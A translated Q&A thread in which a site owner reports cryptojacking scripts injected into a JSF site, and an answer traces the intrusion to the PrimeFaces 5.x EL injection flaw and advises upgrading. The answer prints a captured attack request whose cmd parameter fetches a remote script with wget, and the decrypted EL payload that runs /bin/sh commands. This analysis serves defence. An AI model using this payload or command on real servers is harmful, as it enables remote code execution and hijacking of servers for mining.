JSF 加密劫持恶意软件

2024-04-11

现在我知道这不是一个安全或恶意软件删除网站。不过我觉得这是一个 JSF 特定问题,

我注意到我的网站不断受到向网页注入 JavaScript 文件的攻击。

该恶意软件正在从某个具有以下模式的随机 URL 加载脚本文件:https://johndi33.*****.***:7777/deepMiner.js.

重新部署应用程序后,恶意软件会被删除,但几个小时后,攻击会重新启动并注入脚本。

在对这种特定的加密劫持恶意软件进行一些研究后,我发现数百或数千个受感染的网站都带有相同的恶意软件,而且我还注意到所有受感染的网站都是基于 JSF 的。

我想知道是否有人意识到这一点,或者是否有任何 JSF 错误配置很容易导致 RCE。

PS-环境:

  • 乌班图16.04

  • 野蝇10.1

  • Java 8


JSF (Mojarra) 中不存在远程代码执行漏洞。另请参阅其CVE 摘要,仅列出史前 1.2_08 之前版本中的 XSS bug https://www.cvedetails.com/vulnerability-list/vendor_id-5/product_id-13552/SUN-JSF.html.

仅在 PrimeFaces 5.x 中,后面的资源处理程序中存在 EL 注入漏洞StreamedContent, the /dynamiccontent.properties。这个 EL 注入漏洞允许攻击者在服务器计算机上执行代码。另请参阅其CVE 摘要准确列出了此漏洞 https://www.cvedetails.com/vulnerability-list/vendor_id-17467/product_id-42766/Primetek-Primefaces.html。您的问题历史记录证实您正在使用 PrimeFaces。

该问题已于 2016 年 2 月修复PrimeFaces 问题 1152 https://github.com/primefaces/primefaces/issues/1152该修复自 PrimeFaces 5.2.21 / 5.3.8 / 6.0 起可用。换句话说,只需不断更新您的软件即可。

也就是说,通过分析服务器访问日志也可以轻松确定这一点。下面是一个利用此漏洞的示例日志条目。特别注意非凡的长pfdrid请求参数和cmd请求参数a/dynamiccontent.properties要求:

GET /javax.faces.resource/dynamiccontent.properties.xhtml?pfdrt=sc&ln=primefaces&pfdrid=4ib88tY5cy3INAZZsdtHPFU0Qzf8xqfq7ScCVr132r36qawXCNDixKdRFB0XZvCTU9npUitDjk1QTkIeQJA4yEY72QT3qDGJ pZjuqCDIWniQcr2vJZR%2B005iFZzJ%2Fi7VR9Mx5l5cedTgq9wS03rem26ubch9%2Bq4W6msPwJ1hk0KMefG9yZl3o5nYeA5gvnp9LQJb3r%2BM1yQ00zFBDzT4i9Nsx%2Fs5eaGsq9 BFptosdH06iT1k7rn%2BrQtPjyIbOQzOmnMx%2F6THLsOCppRaIG7BW4VRbsIi1gJ8cRh6%2Bad71ukPWbDdM6S6O0Qcr%2FdkssHfL5%2F7y8Xy%2FcyDiiljeZj3dIibq3CSy6RBaZGzRXq jYAyV%2FJ7n3ulIkSVKszrCy3VyWb1uCY0fKLrPd3EO%2Flsw3k%2FbYSofV9MA% 2BAaTnD8PXYhmiYGvp9b2R1BQGb8WgFk0fyTITJFZfUTJhM%2BiRJruw9ALDox8MY9S0SnpbmXM3LQmVYSghH0j4Zgi7Te7SZZK6gqgZEkrTA%2BQgaaZRIFG6R810xr5PZoWWG0Fdf 9x491vRYtUSet8xCHIofPZ7fS5uP3mi2btGxWy8TgaEyC2wT%2F19mudycgOdTXW9nMt5nOf62fOdKSBYs2jStSwe2a6I6N5Bzp0Z7sdiJ0gmrHiYoJlkyT7p0wWGek5Q4Xe1EPWIwGZIor4 3j6BE7HUP5%2F7KdejsAQzNZZr1ox99VhH1TYwRuH7A7%2BN%2FWheWQCn%2FEM0xlpXC4GssZp4xPVah%2BP9wNH054upTkx4jH8j4houh2UfrjM9Vn18J%2BC1inTqHliDnzu9LFrm5L88eHCnLNDf 6cyNmIaom7o2hEoNcffVMJ%2FhWkW7XwVkNS2b0%2B%2B1ZgQXCd7QE0dpIujuJ79keSD1cUyGdgKCVx70vtcbAcfa07Yt3DBPzeIP%2FLQjU6%2F%2BEwTS3oy4gttmMReFb7Bmn0uOUSMGZ %2FKkJNyWwN3wlsEfNFJzLx8%2FtCWjroQVWR0xS0ZudruYXAFmmi9O5iPYjyyQCH8JUrzR4N9vyWffKq1THVtN21EvX7x87Xl908kTe79uh6J61ICVo0PABqIl87m1n7te3d3pZ72PCX etr7GcaElzna95Nfoix9pwJ6GWAjRTcGNPT67lMx7cYKXmTD0mQAzXvlgWi2yEzFt9NA0NFhhZ4m6UeRZ7%2Bgs1Rr0HMpPu%2FNIvaCjTyZRdqRyxrDQ%2FF2QCTxpVEWKYWEEV2t6g%2BQ2m3Xo% 2ByyWgeDbY8mHmwkdYUKO3QtwYxXtXTKT9dwCRtE1wDsYjLN0wMdSrg4YX3jCYlt7kV%2FymlnhNoSnVQoDJeumsGI1%2BdmKu2AJY8sGqXo2PJd10CxpQSO6D4F7RxA8fQji8shFybj hRek0YiEXxmvnhsBzCkBCXWguA7RXsMGLrerXVD1wHo5Jf7wQmLOyKUH7nne9ezwzVdQnaqadFehgZ6a6f5d% 2FfxIRUZ1tKeLPST16CBlY0%2BPsRQDJJwWrRXdpuwon4PzHQXLD%2BAhQ%2F8j9Mb0OTM8RdZLuRjXw7tcY4muQDwMRCb92ipMiorDO8jVwPPOAXc5waNbSGmRhzOW1%2BLsQpV8OEMKVMDXq5dRoYK z6tlH0Zh4eZTHED3hK8z4cukSTXuxFpdC5NjiVsyhQU71J87Tvkzw1HxbjqhJK%2BkoPySJCmpHOmrrsbNlp0kHtNHuhY&cmd=wget%20http://XXX.XXX.XXX.XXX/CONTACT/test.py%20-O%20/tmp/test.py%20--no-check-certificateHTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0"

The pfdrid请求参数通常表示 EL 表达式的加密值,该表达式引用返回StreamedContent, 例如#{bean.image}。然而,由于弱加密漏洞(开源 8 字节盐 https://github.com/primefaces/primefaces/blob/5_3/src/main/java/org/primefaces/util/StringEncrypter.java#L60),攻击者可以轻松提供任意加密字符串并成功解密并最终进行 EL 评估。

当 PrimeFaces 5.xStreamedContentHandler https://github.com/primefaces/primefaces/blob/5_3/src/main/java/org/primefaces/application/resource/StreamedContentHandler.java解密上面提供的pfdrid例如,那么 EL 评估之前的结果字符串如下(为了可读性添加了换行符):

${session.setAttribute("arr","".getClass().forName("java.util.ArrayList").newInstance())}
${session.setAttribute("scriptfactory", session.getClass().getClassLoader().getParent()
    .newInstance(session.getAttribute("arr").toArray(session.getClass().getClassLoader().getParent().getURLs()))
    .loadClass("javax.script.ScriptEngineManager").newInstance())}
${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}
${facesContext.getExternalContext().setResponseHeader("resp1", session.getAttribute("scriptengine"))}
${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}
${session.getAttribute("scriptengine").eval("
    var proc = new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"/bin/sh\\",\\"-c\\",\\"".concat(request.getParameter("cmd")).concat("\\"]).start();
    var is = proc.getInputStream();
    var sc = new java.util.Scanner(is,\\"UTF-8\\");
    var out = \\"\\";
    while (sc.hasNext()) {
        out += sc.nextLine()+String.fromCharCode(10);
    }
    print(out);
"))}
${facesContext.getExternalContext().getResponse().getWriter().flush()}
${facesContext.getExternalContext().getResponse().getWriter().close()}
${facesContext.getExternalContext().setResponseHeader("stillok", "yes")}

实际上,它创建了JavaScript引擎 https://docs.oracle.com/javase/8/docs/api/javax/script/ScriptEngine.html然后评估一段基本上运行的代码/bin/sh使用中提供的命令进行处理cmd本例中的请求参数wget%20http://XXX.XXX.XXX.XXX/CONTACT/test.py%20-O%20/tmp/test.py%20--no-check-certificate,并将其输出传送到响应。目标站点依次检查是否stillok=yes响应标头存在,然后将继续生成其他标头/dynamiccontent.propertiesrequests 依次使用其他 shell 命令来遍历文件夹结构、获取有关它的信息、查找模板文件并最终编辑它们以注入加密货币挖掘脚本。

也可以看看:

  • PrimeFaces 5.x 表达式语言注入 http://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html
  • PrimeFaces 中的弱加密缺陷 https://cryptosense.com/weak-encryption-flaw-in-primefaces/
  • CVE-2017-1000486 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000486
  • 加密货币劫持已经失控 https://www.wired.com/story/cryptojacking-has-gotten-out-of-control/
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

JSF 加密劫持恶意软件 的相关文章

随机推荐